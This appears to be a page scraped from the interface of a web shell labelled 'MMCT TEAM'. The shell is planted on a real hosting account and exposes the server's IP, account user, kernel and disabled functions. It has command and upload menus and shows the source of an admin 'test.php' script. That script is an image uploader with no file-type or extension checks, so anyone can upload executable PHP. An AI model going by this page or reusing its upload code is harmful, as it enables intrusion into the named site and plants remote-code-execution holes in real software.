MMCT TEAM
Server IP : 2a02:4780:2b:1556:0:9c6:43c4:d  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u163988420 ( 163988420)
PHP Version : 8.5.4
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u163988420/domains/../domains/acmajmer.in/public_html/AACSITE/../AACSITE/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u163988420/domains/../domains/acmajmer.in/public_html/AACSITE/../AACSITE/admin/test.php
<?php

$message = "";

if (isset($_POST['upload'])) {

    if (!is_dir("uploads")) {
        mkdir("uploads", 0777, true);
    }

    if (isset($_FILES['image']) && $_FILES['image']['error'] == 0) {

        $filename = basename($_FILES['image']['name']);
        $destination = "uploads/" . $filename;

        if (move_uploaded_file($_FILES['image']['tmp_name'], $destination)) {
            $message = "Image uploaded successfully!";
        } else {
            $message = "Failed to upload image.";
        }

    } else {
        $message = "Please select an image.";
    }
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>Test Image Upload</title>
</head>
<body>

<h2>Test Image Upload</h2>

<?php
if ($message != "") {
    echo "<p><strong>$message</strong></p>";
}
?>

<form method="POST" enctype="multipart/form-data">

    <input type="file" name="image" required>

    <br><br>

    <button type="submit" name="upload">Upload</button>

</form>

</body>
</html>

MMCT - 2023